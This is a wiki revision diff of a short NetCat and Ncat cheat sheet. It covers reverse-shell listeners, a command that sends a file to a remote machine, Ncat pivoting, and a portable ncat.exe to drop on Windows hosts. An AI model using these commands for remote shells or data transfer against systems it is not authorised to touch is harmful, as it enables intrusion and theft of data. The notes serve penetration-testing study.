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--- cheat_sheets_nc [2022/11/20 20:25] – [NetCat (nc)] gman
+++ cheat_sheets_nc [2023/01/12 00:52] (current) – [NetCat (nc)] gman
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 ====== NetCat (nc) ======
+NetCat is a popular **remote access tool.**
+  * It has a small footprint so it's portable.
+  * It can set up a reverse shell easily...
 Local listener for reverse shell:
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 <code>nc [target IP] 21</code>
+Send output from a listener to a text file:
+<code>
+nc -nvlp [port number] > filename.txt
+</code>
+Send output from a text file to a remote machine:
+<code>
+nc [IP Address] [port] < filename.txt
+</code>
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 **Source**: [[https://eternallybored.org/misc/netcat/ | eternallybored.org]] (much thanks)
-==== Ncat ====
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+====== Ncat ======
 [[https://nmap.org/ncat/ | Ncat]] is a much-improved reimplementation of the Netcat.
+  * I has a variety of different capabilities...
+  * SSL
+  * Proxies
+  * SendMail
+  * Chain together Ncat sessions for pivoting.
 If you need a statically compiled version of ncat.exe that you can just drop on a Windows system and use without having to run any installer or copy over extra library files: [[https://nmap.org/dist/ncat-portable-5.59BETA1.zip | Ncat 5.59BETA1]] ({{ :downloads:ncat-portable-5.59beta1.zip | local download }})
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 If you need a portable version of a newer Ncat release, see the [[ https://secwiki.org/w/Nmap/Ncat_Portable | Ncat portable compilation instructions]].
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